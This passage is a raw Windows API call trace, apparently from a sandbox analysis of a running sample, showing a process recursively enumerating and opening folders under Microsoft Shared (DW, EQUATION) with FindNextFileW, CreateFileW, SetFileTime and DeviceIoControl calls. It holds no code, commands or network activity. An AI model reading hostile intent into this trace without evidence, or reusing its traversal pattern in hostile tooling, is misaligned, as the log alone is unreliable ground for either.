ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 0 [0263.841] GetLastError () returned 0x12 [0263.841] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548fc0 [0263.841] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0263.842] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.842] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0263.842] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0264.025] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0264.025] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9500d8, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9500d8, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0264.026] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9500d8) returned 1 [0264.026] NtClose (Handle=0x18c) returned 0x0 [0264.026] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.026] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549040 [0264.026] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.026] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0264.026] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0264.026] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0264.026] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0264.026] GetLastError () returned 0x12 [0264.026] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549080 [0264.026] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0264.027] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.027] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0264.027] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0264.027] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0264.027] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0264.027] GetLastError () returned 0x12 [0264.027] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945280) returned 1 [0264.027] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0264.027] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9451f8) returned 1 [0264.027] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.027] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0264.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0264.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0264.027] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0264.028] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9500d8, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9500d8, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0264.028] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9500d8) returned 1 [0264.028] NtClose (Handle=0x190) returned 0x0 [0264.028] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0264.028] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549080 [0264.029] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.029] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0264.029] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0264.029] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0264.029] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="")) returned 1 [0264.029] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0264.029] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0264.029] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0264.029] GetLastError () returned 0x12 [0264.029] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549040 [0264.029] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0264.029] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.029] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0264.029] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0264.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0264.033] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0264.033] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9500d8, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9500d8, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0264.033] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9500d8) returned 1 [0264.033] NtClose (Handle=0x190) returned 0x0 [0264.034] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945308) returned 1 [0264.034] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 